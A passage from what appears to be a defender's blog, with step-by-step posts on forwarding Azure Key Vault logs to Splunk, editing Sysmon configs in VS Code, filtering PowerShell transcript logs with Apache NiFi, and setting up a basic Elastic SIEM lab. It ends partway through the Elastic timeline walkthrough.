[![](https://1.bp.blogspot.com/-A8_VFKv6vxo/XqJWEeJfmNI/AAAAAAAAIHs/Z6xabOLKgeUddBTGcSOMVXawzB-X7ALogCLcBGAsYHQ/s1600/Storage.png)](https://1.bp.blogspot.com/-A8_VFKv6vxo/XqJWEeJfmNI/AAAAAAAAIHs/Z6xabOLKgeUddBTGcSOMVXawzB-X7ALogCLcBGAsYHQ/s1600/Storage.png)

Next up we need to create the Event Hub Namespace and Event Hub, which will point to our blob storage we created above

[![](https://1.bp.blogspot.com/-VKTyB3UyIsQ/XqJYsRtklDI/AAAAAAAAIH4/AxS5FAgaNXQJtAsz4XBMD-yBCYLLUB41wCLcBGAsYHQ/s1600/CreateNameSpace.png)](https://1.bp.blogspot.com/-VKTyB3UyIsQ/XqJYsRtklDI/AAAAAAAAIH4/AxS5FAgaNXQJtAsz4XBMD-yBCYLLUB41wCLcBGAsYHQ/s1600/CreateNameSpace.png)

And then the Event Hub itself:

[![](https://1.bp.blogspot.com/-3T7DhnaBkDU/XqJYzTAItAI/AAAAAAAAIH8/8UIAVRb0sOMMTKFhbkGSEs-Lm526AS-KgCLcBGAsYHQ/s1600/CreateEventHub.png)](https://1.bp.blogspot.com/-3T7DhnaBkDU/XqJYzTAItAI/AAAAAAAAIH8/8UIAVRb0sOMMTKFhbkGSEs-Lm526AS-KgCLcBGAsYHQ/s1600/CreateEventHub.png)

Here we are turning capture on, and then selecting the container:

[![](https://1.bp.blogspot.com/-ZlJerSEfhbw/XqJZAomDdXI/AAAAAAAAIIE/1CFkkKM_p4o9Rb7CadchPms9wHeUpIciACLcBGAsYHQ/s1600/PickStorage.png)](https://1.bp.blogspot.com/-ZlJerSEfhbw/XqJZAomDdXI/AAAAAAAAIIE/1CFkkKM_p4o9Rb7CadchPms9wHeUpIciACLcBGAsYHQ/s1600/PickStorage.png)

Now we're ready to point our Key Vault to this newly created Event Hub:

[![](https://1.bp.blogspot.com/-VhMFqKcpd_c/XqJZTE5qt0I/AAAAAAAAIIQ/wqi7JZx57VIFVfZn47RN7vspHua2489GQCLcBGAsYHQ/s1600/KVDiag.png)](https://1.bp.blogspot.com/-VhMFqKcpd_c/XqJZTE5qt0I/AAAAAAAAIIQ/wqi7JZx57VIFVfZn47RN7vspHua2489GQCLcBGAsYHQ/s1600/KVDiag.png)

We want to enable both AuditEvents and AllMetrics, and select Stream to an Event Hub, and then pick our Subscription, Event Hub namespace, hub name and policy name:

[![](https://1.bp.blogspot.com/-axRg8-rF3lo/XqJZgzENYbI/AAAAAAAAIIU/vLRu31eseZkUofR6chzhD2yoIYz9l6whACLcBGAsYHQ/s1600/KVDIagSettings.png)](https://1.bp.blogspot.com/-axRg8-rF3lo/XqJZgzENYbI/AAAAAAAAIIU/vLRu31eseZkUofR6chzhD2yoIYz9l6whACLcBGAsYHQ/s1600/KVDIagSettings.png)

Now that we have our Key Vault sending to our Event Hub, the next step is to configure Splunk to pick it up using the app mentioned at the start of the post:

[![](https://1.bp.blogspot.com/-aOS1esIa4TM/XqJZwVdqBBI/AAAAAAAAIIg/rxShz3gg7Yo7b5btNIQu8verXaprXE4jwCLcBGAsYHQ/s1600/SplunkAppConfigure.png)](https://1.bp.blogspot.com/-aOS1esIa4TM/XqJZwVdqBBI/AAAAAAAAIIg/rxShz3gg7Yo7b5btNIQu8verXaprXE4jwCLcBGAsYHQ/s1600/SplunkAppConfigure.png)

The values here are pretty straight forward:

* The index value tells Splunk where to put the data &#x20;
* The Azure Storage Account Name is the name that you gave your stroage account when it was created &#x20;
* The Storage Account Access Key Can be found here:

[![](https://1.bp.blogspot.com/-X9cAc1we160/XqJaPNvTE2I/AAAAAAAAIIs/2B_SLFRyAt4GAj8npLesDC8fCpyCzg1RgCLcBGAsYHQ/s1600/AccessKeys.png)](https://1.bp.blogspot.com/-X9cAc1we160/XqJaPNvTE2I/AAAAAAAAIIs/2B_SLFRyAt4GAj8npLesDC8fCpyCzg1RgCLcBGAsYHQ/s1600/AccessKeys.png)

* The Container Name is the name that you gave to your container within the capture settings of your Event Hub

Now let's retrieve a value from our Key Vault to generate some logs:

[![](https://1.bp.blogspot.com/-IF2YqTym3fM/XqJbaTnCM8I/AAAAAAAAII0/soggOtcbv2Qt49ROMN92oN8Bvg3Gr9GQwCLcBGAsYHQ/s1600/GetSecret.png)](https://1.bp.blogspot.com/-IF2YqTym3fM/XqJbaTnCM8I/AAAAAAAAII0/soggOtcbv2Qt49ROMN92oN8Bvg3Gr9GQwCLcBGAsYHQ/s1600/GetSecret.png)

The Key Vault data includes metrics data on API hits and latency times:

[![](https://1.bp.blogspot.com/-tVsPVw8q_lA/XqJcI6kZKDI/AAAAAAAAII8/l8b3BKmQeEgJZhXXg-FfxPTLv4hrEEzjwCLcBGAsYHQ/s1600/KVMetrics.png)](https://1.bp.blogspot.com/-tVsPVw8q_lA/XqJcI6kZKDI/AAAAAAAAII8/l8b3BKmQeEgJZhXXg-FfxPTLv4hrEEzjwCLcBGAsYHQ/s1600/KVMetrics.png)

As well as operations performed on your Key Vault:

[![](https://1.bp.blogspot.com/-D_Mw3rfxAmw/XqJcfWKY7rI/AAAAAAAAIJE/iy7S6otr4WofxbCDniu1uaOXhj3FKxKAwCLcBGAsYHQ/s1600/KVOperations.png)](https://1.bp.blogspot.com/-D_Mw3rfxAmw/XqJcfWKY7rI/AAAAAAAAIJE/iy7S6otr4WofxbCDniu1uaOXhj3FKxKAwCLcBGAsYHQ/s1600/KVOperations.png)

The data also includes IP addresses of the clients making the request, as well as application used and other information:

[![](https://1.bp.blogspot.com/-jJ2K-3oaIfQ/XqJdR_IR76I/AAAAAAAAIJQ/I5JEhepTEkww4h2QqBP1Yb5LgFRFcz5bgCLcBGAsYHQ/s1600/SecretGetData.png)](https://1.bp.blogspot.com/-jJ2K-3oaIfQ/XqJdR_IR76I/AAAAAAAAIJQ/I5JEhepTEkww4h2QqBP1Yb5LgFRFcz5bgCLcBGAsYHQ/s1600/SecretGetData.png)

Now you can get some extra visibility into what's going on with your Azure Key Vault. Nice.

The "correlationId" field for these events can be joined together with other Azure Events for a more comprehensive view and more advanced queries (perhaps another blog post :) )

Some notes:

* I'm still learning Azure, so I have no idea if this is the "best" way to get Azure Key Vault logs into Splunk, I know Azure Monitor is a thing but I wanted to see if I could just get logs in from the Key Vault &#x20;
* Check out PowerZure which will help you generate some interesting data to look at: <https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a> &#x20;
* I created all my resources in the same Azure region &#x20;
* Check the networking settings of your Storage Account if stuff doesn't work


# Edit Your Sysmon Config in Style

Does this look familiar ?

[![](https://1.bp.blogspot.com/-Vjsi2ApgVxE/XnUuKCDuhiI/AAAAAAAAIDM/X5XZHm_MDW0y2Dl4CNdeYak2QZjL2DzzQCLcBGAsYHQ/s1600/2020-03-20_16-56-08.png)](https://1.bp.blogspot.com/-Vjsi2ApgVxE/XnUuKCDuhiI/AAAAAAAAIDM/X5XZHm_MDW0y2Dl4CNdeYak2QZjL2DzzQCLcBGAsYHQ/s1600/2020-03-20_16-56-08.png)

Until very recently, I was there too.

Notepad++ is a fantastic tool that I use for hours every day, but it's not ideal for editing large Sysmon config files, I recently looked at other options and found a setup that I was happy with - let's take a look at how you can replicate this.

To begin, grab a copy of Visual Studio Code ( <https://code.visualstudio.com/download> )

Navigate to the Extensions menu and search for and install the Sysmon extension:

[![](https://1.bp.blogspot.com/-UOTCnXy20Uo/XnUv4BGNfBI/AAAAAAAAIDY/hgNf5MSFmA48lP_Q_R0tTB3UaZQ6EMHgACLcBGAsYHQ/s1600/2020-03-20_17-03-25.png)](https://1.bp.blogspot.com/-UOTCnXy20Uo/XnUv4BGNfBI/AAAAAAAAIDY/hgNf5MSFmA48lP_Q_R0tTB3UaZQ6EMHgACLcBGAsYHQ/s1600/2020-03-20_17-03-25.png)

We'll also be installing the "Bookmarks" extension:

[![](https://1.bp.blogspot.com/-yQiwuhGYfZk/XnUwNoAji8I/AAAAAAAAIDg/RcA5YXMCgMoRnaEQg5pVk7_-KclwO9hVwCLcBGAsYHQ/s1600/2020-03-20_17-05-33.png)](https://1.bp.blogspot.com/-yQiwuhGYfZk/XnUwNoAji8I/AAAAAAAAIDg/RcA5YXMCgMoRnaEQg5pVk7_-KclwO9hVwCLcBGAsYHQ/s1600/2020-03-20_17-05-33.png)

Next up, install and setup git for Windows ( <https://git-scm.com/download/win> )

During the setup, you'll have the option to use VS Code as the default edit for git, I chose this option:

[![](https://1.bp.blogspot.com/-JJnN97V9YGE/XnUwzWeJhuI/AAAAAAAAIDo/w9fCpWJvLCc9oo3c-yJts9jqdWJ_HO4ngCLcBGAsYHQ/s1600/2020-03-20_17-08-13.png)](https://1.bp.blogspot.com/-JJnN97V9YGE/XnUwzWeJhuI/AAAAAAAAIDo/w9fCpWJvLCc9oo3c-yJts9jqdWJ_HO4ngCLcBGAsYHQ/s1600/2020-03-20_17-08-13.png)

Now restart VS Code and start a new Sysmon config, the Sysmon extension will help you here:

[![](https://1.bp.blogspot.com/-84E-rVQNi24/XnVEZH3-SRI/AAAAAAAAIGM/g07d7_bZALEB6zZ3Sab1Qy-XmTUHNuvHQCLcBGAsYHQ/s1600/2020-03-20_18-31-15.png)](https://1.bp.blogspot.com/-84E-rVQNi24/XnVEZH3-SRI/AAAAAAAAIGM/g07d7_bZALEB6zZ3Sab1Qy-XmTUHNuvHQCLcBGAsYHQ/s1600/2020-03-20_18-31-15.png)

In my case, I had a private GitHub repo set up for my Sysmon config, so I want to set that repo up and then save my new blank Sysmon config file to it:

[![](https://1.bp.blogspot.com/-80WkKboW-QQ/XnU7dpG3_8I/AAAAAAAAIFI/0gKhlPGQkSAcujTbkrpWxqaJn5EpoEnsQCLcBGAsYHQ/s1600/2020-03-20_17-53-42.png)](https://1.bp.blogspot.com/-80WkKboW-QQ/XnU7dpG3_8I/AAAAAAAAIFI/0gKhlPGQkSAcujTbkrpWxqaJn5EpoEnsQCLcBGAsYHQ/s1600/2020-03-20_17-53-42.png)

Now save your config file and give it a name, make sure to save it to the folder where you initialized your Git repo, in my case C:\Repos\sysmon-config

You should see a "1" icon next to the source control menu option in VS Code after saving your config file. Navigate to that menu, add your commit message, stage the changes and then commit them to your GitHub repo:

[![](https://1.bp.blogspot.com/-pde97-u5dXg/XnU8GB6Ia-I/AAAAAAAAIFQ/FCJML1j58jAbeOg5TeIUtgpIOlJvx4ioACLcBGAsYHQ/s1600/2020-03-20_17-56-19.png)](https://1.bp.blogspot.com/-pde97-u5dXg/XnU8GB6Ia-I/AAAAAAAAIFQ/FCJML1j58jAbeOg5TeIUtgpIOlJvx4ioACLcBGAsYHQ/s1600/2020-03-20_17-56-19.png)

When you are done committing your changes, push them via the terminal or GUI, you should now see your changes in GitHub:

[![](https://1.bp.blogspot.com/-kcdF6gQPSTc/XnU_Gkn2UkI/AAAAAAAAIFc/FVZz_aaWNTMVX1xqxXncah_6agogZbEXQCLcBGAsYHQ/s1600/2020-03-20_18-09-18.png)](https://1.bp.blogspot.com/-kcdF6gQPSTc/XnU_Gkn2UkI/AAAAAAAAIFc/FVZz_aaWNTMVX1xqxXncah_6agogZbEXQCLcBGAsYHQ/s1600/2020-03-20_18-09-18.png)

Now your Sysmon config is source controlled and resides in a feature-rich text editor with auto-complete unique to Sysmon's config syntax, nice!

As a final step, use the Bookmarks add-on to configure bookmarks within your Sysmon config so you can follow along with the various sections in a large config file.

If you've installed the bookmarks extension, navigate to the line where you want to set your bookmark and hit CTRL+ALT+K (Or right click --> toggle bookmark), in my case I'm going to bookmark my ProcessCreate exclusions section:

[![](https://1.bp.blogspot.com/-_znyRAB4mLE/XnVCqrU0LcI/AAAAAAAAIGA/4klEZlmOMo410yMGv3prsTFe_TviM7ffgCLcBGAsYHQ/s1600/2020-03-20_18-13-39.png)](https://1.bp.blogspot.com/-_znyRAB4mLE/XnVCqrU0LcI/AAAAAAAAIGA/4klEZlmOMo410yMGv3prsTFe_TviM7ffgCLcBGAsYHQ/s1600/2020-03-20_18-13-39.png)

You can also rename this bookmark to your liking, I've found this kind of bookmark layout time saving:

[![](https://1.bp.blogspot.com/-6JnBJmQprY4/XnVCSkPTugI/AAAAAAAAIF4/z-oseIIu9qQHxRILkRgKWCIfkh0zNqYRgCEwYBhgL/s1600/2020-03-20_18-17-38.png)](https://1.bp.blogspot.com/-6JnBJmQprY4/XnVCSkPTugI/AAAAAAAAIF4/z-oseIIu9qQHxRILkRgKWCIfkh0zNqYRgCEwYBhgL/s1600/2020-03-20_18-17-38.png)

And that's it -- a nice upgrade from Notepad++

**Notes:**

* Thank you <https://twitter.com/Carlos_Perez> for the awesome VSCode Sysmon extension &#x20;
* For great Sysmon configs, check out: &#x20;

  <https://github.com/SwiftOnSecurity/sysmon-config> &#x20;

  <https://github.com/olafhartong/sysmon-modular>


# Wrangle Your PowerShell Transcript Logs with Apache Nifi

**Intro:**

You are an enterprise defender who has done the right thing and enabled PowerShell transcript logging. Now you have a whole bunch of flat text files containing PowerShell transcript logs, filled with various application noise. What do you do now?

**Enter Apache Nifi:**\
Apache Nifi is a data routing & transformation system and is available to download here: <https://nifi.apache.org/download.html> - this post will show you how to use Apache Nifi to extract relevant text from PowerShell transcript logs and send them to whatever logging system you have, in my case I will be using Splunk as an example.

**Installation:**\
First let's get Apache Nifi installed. You'll need to grab the install file for Nifi as well as OpenJDK

Nifi Download: <https://nifi.apache.org/download.html>

OpenJDK: <https://jdk.java.net/>

In my example I will be running this on a Window system, but Nifi supports various OS's and has a Docker image as well.

Extract the contents of OpenJDK into C:\Java, then edit your environment variables to include the bin directory under C:\Java\\:

[![](https://1.bp.blogspot.com/-UesTx5jLxY0/Xm46up3XxbI/AAAAAAAAIAQ/FfRDrG8mJGoNkSZ4ctk6PXkwy_HlmnsygCLcBGAsYHQ/s1600/java.png)](https://1.bp.blogspot.com/-UesTx5jLxY0/Xm46up3XxbI/AAAAAAAAIAQ/FfRDrG8mJGoNkSZ4ctk6PXkwy_HlmnsygCLcBGAsYHQ/s1600/java.png)

If you've done this step correctly, you should be able to open a new Command Prompt and execute the java command.

Next, extract the contents of your Apache Nifi zip file into whatever directory you want, then navigate to the bin directory and execute 'run-nifi-bat' you should see something similar to the following:

[![](https://1.bp.blogspot.com/-UokGAfsfzUI/Xm47gH3P8lI/AAAAAAAAIAY/wPYHzdsnoD81MNOb5jXP2-kcFfX8goV3ACLcBGAsYHQ/s1600/nifi_first_run.png)](https://1.bp.blogspot.com/-UokGAfsfzUI/Xm47gH3P8lI/AAAAAAAAIAY/wPYHzdsnoD81MNOb5jXP2-kcFfX8goV3ACLcBGAsYHQ/s1600/nifi_first_run.png)

**Making a Flow:**

At this point Nifi should be running, and you should be able to browse to <http://localhost:8080/nifi> and see something like this:

[![](https://1.bp.blogspot.com/-jgZWA3PuOdA/Xm47rv1rwmI/AAAAAAAAIAc/dhE0RxShjCoR5n2PVE3TYfsAw5odG4dlQCLcBGAsYHQ/s1600/FreshInstall.png)](https://1.bp.blogspot.com/-jgZWA3PuOdA/Xm47rv1rwmI/AAAAAAAAIAc/dhE0RxShjCoR5n2PVE3TYfsAw5odG4dlQCLcBGAsYHQ/s1600/FreshInstall.png)

The icons near the top left Nifi logo are the various processors, funnels and labels that Apache Nifi uses to do it's data wizardry - you drag the elements onto the 'canvas' - for our purposes we will be making a basic flow using processors only. When a processor is dragged to the canvas, Apache Nifi gives you options as to which processor you want to use. We will be starting with the "GetFile" processor:

[![](https://1.bp.blogspot.com/-ST-ID20yiGo/Xm48hDeqJKI/AAAAAAAAIAs/Y_maF-h6FFUvzkilaZrhUOe6M7AkFNYYwCLcBGAsYHQ/s1600/processor.png)](https://1.bp.blogspot.com/-ST-ID20yiGo/Xm48hDeqJKI/AAAAAAAAIAs/Y_maF-h6FFUvzkilaZrhUOe6M7AkFNYYwCLcBGAsYHQ/s1600/processor.png)

Let's take a look at the properties of this processor:

[![](https://1.bp.blogspot.com/-DPCdhQCNTQ8/Xm48v5vnUsI/AAAAAAAAIAw/JsWDPz8QrFsdP2HS4HdmlhuU-LW3PzcUQCLcBGAsYHQ/s1600/getfile.png)](https://1.bp.blogspot.com/-DPCdhQCNTQ8/Xm48v5vnUsI/AAAAAAAAIAw/JsWDPz8QrFsdP2HS4HdmlhuU-LW3PzcUQCLcBGAsYHQ/s1600/getfile.png)

We are telling this processor to look in the PSLogs directory, recursively. The Keep Source file option is set to false here, so Apache Nifi will delete the files when it is done processing them, flip this switch to true if you are just testing your flow, but keep in mind Nifi will continuously process your flow until you stop it.

Next we want to use the Extract Text Processor to perform regular expression matches against the contents of the logs that our GetFile processor read, we hover over the GetFile processor until the arrow icon appears, then drag this to our ExtractText processor:

[![](https://1.bp.blogspot.com/-hyJEXEQnZng/Xm49vV89WUI/AAAAAAAAIA8/QPfRPwioL6o7a-VvCDx_Gvk7mPqPNhBVgCLcBGAsYHQ/s1600/linkprocessors.png)](https://1.bp.blogspot.com/-hyJEXEQnZng/Xm49vV89WUI/AAAAAAAAIA8/QPfRPwioL6o7a-VvCDx_Gvk7mPqPNhBVgCLcBGAsYHQ/s1600/linkprocessors.png)

When you successfully link the processors, a menu will appear asking you switch relationship you want to linked, for the GetFile processor the only relationship type is success, so we select that option:

[![](https://1.bp.blogspot.com/-2NBbwhy2aYs/Xm4-OW4FtNI/AAAAAAAAIBE/WdG2rlV6p8grhbHO-8CKYT5DkyA5CbvKwCLcBGAsYHQ/s1600/link2.png)](https://1.bp.blogspot.com/-2NBbwhy2aYs/Xm4-OW4FtNI/AAAAAAAAIBE/WdG2rlV6p8grhbHO-8CKYT5DkyA5CbvKwCLcBGAsYHQ/s1600/link2.png)

Next up we want to configure the ExtractText processor to perform certain regular expressions on the text that was just extracted:

[![](https://1.bp.blogspot.com/-RzVajsYxZHQ/Xm4_RA2y7rI/AAAAAAAAIBQ/hrs70Ka9pSI3_jWazfLNXUPWxXJzPjiRACLcBGAsYHQ/s1600/extracttext.png)](https://1.bp.blogspot.com/-RzVajsYxZHQ/Xm4_RA2y7rI/AAAAAAAAIBQ/hrs70Ka9pSI3_jWazfLNXUPWxXJzPjiRACLcBGAsYHQ/s1600/extracttext.png)

The + symbol allows us to enter our own properties, I have added three sets of regular expression matches for basic potentially undesirable PowerShell commands and have enabled DOTALL and Multiline modes.

In the settings tab of the ExtractText processor, I have set it to automatically terminated unmatched flows, and to route matched flows to our next processor, AttributesToJSON:

[![](https://1.bp.blogspot.com/-6GfCJwrHcNQ/Xm4_1wdVtHI/AAAAAAAAIBY/_z885O899Jc82ZH-fvlggtLgvptzRlg2gCLcBGAsYHQ/s1600/termunmatched.png)](https://1.bp.blogspot.com/-6GfCJwrHcNQ/Xm4_1wdVtHI/AAAAAAAAIBY/_z885O899Jc82ZH-fvlggtLgvptzRlg2gCLcBGAsYHQ/s1600/termunmatched.png)

[![](https://1.bp.blogspot.com/-_rx9FG8Y5Qk/Xm4__3oJADI/AAAAAAAAIBc/gXtytOzvu2oHpWu41Tou2HvSdzv7x0TAQCLcBGAsYHQ/s1600/ettoatjson.png)](https://1.bp.blogspot.com/-_rx9FG8Y5Qk/Xm4__3oJADI/AAAAAAAAIBc/gXtytOzvu2oHpWu41Tou2HvSdzv7x0TAQCLcBGAsYHQ/s1600/ettoatjson.png)

At this point, we now have Apache Nifi getting the contents of a file, performing regex matches against that file, then converting those matches into JSON format. Now that we have our matching data, we need to send it somewhere. For developing your flow, you may want to use the PutFile processor to just write your flow contents to a file for testing. In my case I have ended this flow with a PutSplunk Processor:

[![](https://1.bp.blogspot.com/-zao55GeGxtg/Xm5Ah-rNA-I/AAAAAAAAIBo/xaq8mVSj_IENp2KTqQJImF6N3U11NIQ3wCLcBGAsYHQ/s1600/putsplunk.png)](https://1.bp.blogspot.com/-zao55GeGxtg/Xm5Ah-rNA-I/AAAAAAAAIBo/xaq8mVSj_IENp2KTqQJImF6N3U11NIQ3wCLcBGAsYHQ/s1600/putsplunk.png)

Note if you're using Splunk, you'll need to create an index and listener first, in my case I have a listener set up on port 1234 with a source type of JSON w/o a timestamp.

Since the PutSplunk processor is the last in my flow, I will tell it to terminate both success and failure relationships:

[![](https://1.bp.blogspot.com/-pEr_wpZyHjw/Xm5A-aBhOYI/AAAAAAAAIBw/bXtJOJ7gHYAc1bApGPxS0mthSwVWpc1dgCLcBGAsYHQ/s1600/terminate.png)](https://1.bp.blogspot.com/-pEr_wpZyHjw/Xm5A-aBhOYI/AAAAAAAAIBw/bXtJOJ7gHYAc1bApGPxS0mthSwVWpc1dgCLcBGAsYHQ/s1600/terminate.png)

The flow should resemble something like this when you're all done:

[![](https://1.bp.blogspot.com/-gDcLLJ3ikZw/Xm5BSWG9fGI/AAAAAAAAIB4/OaID_zE5oXkrYrcUqsRYQbXyiBU__fADwCLcBGAsYHQ/s1600/full_flow.png)](https://1.bp.blogspot.com/-gDcLLJ3ikZw/Xm5BSWG9fGI/AAAAAAAAIB4/OaID_zE5oXkrYrcUqsRYQbXyiBU__fADwCLcBGAsYHQ/s1600/full_flow.png)

Now locate the play button in the "Operate" window in the Nifi interface and watch your flow do it's thing:

[![](https://1.bp.blogspot.com/-KkwnffiWx1s/Xm5Bt1t_NKI/AAAAAAAAICA/fbK7Srdvc5gtUBvFGAObTF_6X2pzxjutwCLcBGAsYHQ/s1600/operate.png)](https://1.bp.blogspot.com/-KkwnffiWx1s/Xm5Bt1t_NKI/AAAAAAAAICA/fbK7Srdvc5gtUBvFGAObTF_6X2pzxjutwCLcBGAsYHQ/s1600/operate.png)

Now let's take a look at the data in Splunk:

[![](https://1.bp.blogspot.com/-IUvdSQpUZR0/Xm5CftSDtXI/AAAAAAAAICI/BmpAoZvdLcwfkFaYUGwss2RDL6IQwK01wCLcBGAsYHQ/s1600/splunkdata.png)](https://1.bp.blogspot.com/-IUvdSQpUZR0/Xm5CftSDtXI/AAAAAAAAICI/BmpAoZvdLcwfkFaYUGwss2RDL6IQwK01wCLcBGAsYHQ/s1600/splunkdata.png)

The field names highlighted correspond to the custom attributes you created in the ExtractText processor (I should have used much better names) and the field values contain the regular expression matches.

The file metadata is also included.

Here's what the data looks like with a little bit of formatting:

[![](https://1.bp.blogspot.com/-rSNZYG6C1Ho/Xm5DC1SM6xI/AAAAAAAAICU/gxeT2fufI8QxvL1B_2kJwdkovSkmAnN1gCLcBGAsYHQ/s1600/splunkdata_formatted.png)](https://1.bp.blogspot.com/-rSNZYG6C1Ho/Xm5DC1SM6xI/AAAAAAAAICU/gxeT2fufI8QxvL1B_2kJwdkovSkmAnN1gCLcBGAsYHQ/s1600/splunkdata_formatted.png)

**Notes:**

* My original use-case for looking at Nifi was to take a bunch of PowerShell transcript logs, do regex on them and then send only matches to Splunk in order to save on quota &#x20;
* I am not an expert in Nifi at all, so there's probably more efficient ways to do what I'm trying to accomplish &#x20;
* Huge thank you to <https://twitter.com/Wietze> for helping me work through some Nifi issues &#x20;
* I have not yet tested this in a full-blown production environment, but from limited testing Nifi seems to chew through large transcript logs without issue

**More on PowerShell logging:**\
<https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html>\
<https://devblogs.microsoft.com/powershell/powershell-the-blue-team/>


# (Very) Basic Elastic SIEM Set up

Recently Elastic announced the release of a SIEM product. In this post I'm going to do a very basic set up and brief overview of the product.

Some caveats first

* I usually set up ELK in lab environment, so this post doesn't cover any security settings for ELK &#x20;
* I don't use ELK day-to-day so there's probably a bunch of stuff that can be done differently / more effectively

With that out of the way, let's dive in:

The first thing you need to do is install Elastic and Kibana. If you follow the official guide, the links take you to version 8.0 alpha, at time of writing these links seem to be broken and my setup is with version 7.2

For my setup, I'm installing Elastic and Kibana on an Ubuntu 18.04 box, and some beats packages on a few Windows hosts.

To get Elastic on Ubuntu: <https://www.elastic.co/guide/en/elasticsearch/reference/current/deb.html>

To get Kibana on Ubuntu: <https://www.elastic.co/guide/en/kibana/current/deb.html>

Once Elastic and Kibana are installed, a few tweaks to the Elastic config were needed:

[![](https://1.bp.blogspot.com/-Ds9YzWvNWQg/XROhcMo9TqI/AAAAAAAAH1A/gRZ04O_0PxMOLF2I7Yp4DuEoMruWqq0SQCLcBGAs/s1600/elasticyaml.png)](https://1.bp.blogspot.com/-Ds9YzWvNWQg/XROhcMo9TqI/AAAAAAAAH1A/gRZ04O_0PxMOLF2I7Yp4DuEoMruWqq0SQCLcBGAs/s1600/elasticyaml.png)

Without the last line in the above screenshot, starting elastic with the network host set to 0.0.0.0 error'd out, in my case I am only using one Elastic node.

I had to make a similar teak in the Kibana configuration file:

[![](https://1.bp.blogspot.com/-TNnL2J8mO3A/XROiHQ8x7-I/AAAAAAAAH1I/Qz4sGe5wFMICyazXDTKqi9xbvtfWsdGNgCLcBGAs/s1600/kibanayaml.png)](https://1.bp.blogspot.com/-TNnL2J8mO3A/XROiHQ8x7-I/AAAAAAAAH1I/Qz4sGe5wFMICyazXDTKqi9xbvtfWsdGNgCLcBGAs/s1600/kibanayaml.png)

If all works well, you should see similar Curl output (Note that I am not using localhost or 127.0.0.1 as the IP, if the curl command works with the actual IP of the box you're hosting Elastic on, then the beats should have no issues connecting):

[![](https://1.bp.blogspot.com/-i0Uc-hSdJaA/XROitFaZVRI/AAAAAAAAH1Q/OACjIroJMRYB8mEfCpGS5RLDuvva6FuugCLcBGAs/s1600/curl.png)](https://1.bp.blogspot.com/-i0Uc-hSdJaA/XROitFaZVRI/AAAAAAAAH1Q/OACjIroJMRYB8mEfCpGS5RLDuvva6FuugCLcBGAs/s1600/curl.png)

At this point you should have Elastic and Kibana up and running, now let's get the beats installed.

The following page has links to all the beats shippers you would need: <https://www.elastic.co/guide/en/siem/guide/current/install-siem.html>

In my case I'm only using Winlogbeat + Packetbeat

Here is what the relevant sections of my winlogbeat.yml look like:

[![](https://1.bp.blogspot.com/-ktZrXYCeJnE/XROjcvU2S9I/AAAAAAAAH1Y/0oPR6E1SP3kNL2CDjJiLjIuVhGgYPSamACLcBGAs/s1600/winlogbeat.png)](https://1.bp.blogspot.com/-ktZrXYCeJnE/XROjcvU2S9I/AAAAAAAAH1Y/0oPR6E1SP3kNL2CDjJiLjIuVhGgYPSamACLcBGAs/s1600/winlogbeat.png)

If you are installing packetbeat on a Windows host, make sure to grab WinPcap first, then follow the relevant instructions for set up. One thing I noticed with packetbeat is that if you are executing packetbeat.exe in a PowerShell window as per instructions, it sometimes doesn't display errors, if you run it from a standard command prompt, it will spit errors out on the console window.

Also, make sure you are selecting the right network device for packetbeat to sniff from:

[![](https://1.bp.blogspot.com/-FJWwFL97_Ms/XROkJ_RAVnI/AAAAAAAAH1k/I31_k7jRUaovFyblSeQc_goc_AkylHScwCLcBGAs/s1600/packetbeatdevice.png)](https://1.bp.blogspot.com/-FJWwFL97_Ms/XROkJ_RAVnI/AAAAAAAAH1k/I31_k7jRUaovFyblSeQc_goc_AkylHScwCLcBGAs/s1600/packetbeatdevice.png)

Now for the good stuff, assuming you have Elastic, Kibana and your beats set up correctly, you should be able to browse to: :5601 and you should see a home page similar to the following (The SIEM optioin is highlighted in yellow)

[![](https://1.bp.blogspot.com/-T2QXa5UUboU/XROklT9kCQI/AAAAAAAAH1w/UgcomG0rFXwu3ZqzRm7U2gHjzV9zWwGYgCLcBGAs/s1600/siem.png)](https://1.bp.blogspot.com/-T2QXa5UUboU/XROklT9kCQI/AAAAAAAAH1w/UgcomG0rFXwu3ZqzRm7U2gHjzV9zWwGYgCLcBGAs/s1600/siem.png)

Here is what my "Hosts" page looks like:

[![](https://1.bp.blogspot.com/-BOIftSW_I78/XROlCR-n1RI/AAAAAAAAH18/2ASyC-p14EIDHI_HImVueC5KuiQX4axIQCLcBGAs/s1600/hosts.png)](https://1.bp.blogspot.com/-BOIftSW_I78/XROlCR-n1RI/AAAAAAAAH18/2ASyC-p14EIDHI_HImVueC5KuiQX4axIQCLcBGAs/s1600/hosts.png)

Now let's look for some simple events, you can use the search bar at the top to input your query.\
On one of my test machines I just ran:

*Invoke-Webrequest [www.google.com](http://www.google.com)*

In the below screenshot, I'm trying to find that event in the Sysmon logs:

[![](https://1.bp.blogspot.com/-0n5NUjL2rPA/XROltooJmkI/AAAAAAAAH2I/E1e4YkNoeC83x1fbkyRh7vrFGtlo4EHwwCLcBGAs/s1600/search.png)](https://1.bp.blogspot.com/-0n5NUjL2rPA/XROltooJmkI/AAAAAAAAH2I/E1e4YkNoeC83x1fbkyRh7vrFGtlo4EHwwCLcBGAs/s1600/search.png)

If you hover over the three dots in the Events table, you can see the full event details:

[![](https://1.bp.blogspot.com/-R6o8NE9vjak/XROl8By7hnI/AAAAAAAAH2M/dOSN4WQMoj8XoSKmP_HQBwHdbrTJGiKigCLcBGAs/s1600/full.png)](https://1.bp.blogspot.com/-R6o8NE9vjak/XROl8By7hnI/AAAAAAAAH2M/dOSN4WQMoj8XoSKmP_HQBwHdbrTJGiKigCLcBGAs/s1600/full.png)

Now let's use this event to dig a little further using the timeline on the right hand side

When you click the timeline text, a menu pops up and you can drag and drop data to the timeline:

[![](https://1.bp.blogspot.com/-yxw5KoYj6Uk/XROmxTed6eI/AAAAAAAAH2Y/YDCFzVTIebcOxAwZ9KAOFiO0PwiFATkMwCLcBGAs/s1600/timeline.png)](https://1.bp.blogspot.com/-yxw5KoYj6Uk/XROmxTed6eI/AAAAAAAAH2Y/YDCFzVTIebcOxAwZ9KAOFiO0PwiFATkMwCLcBGAs/s1600/timeline.png)

This gives us a timeline view, using our source IP as a filter:

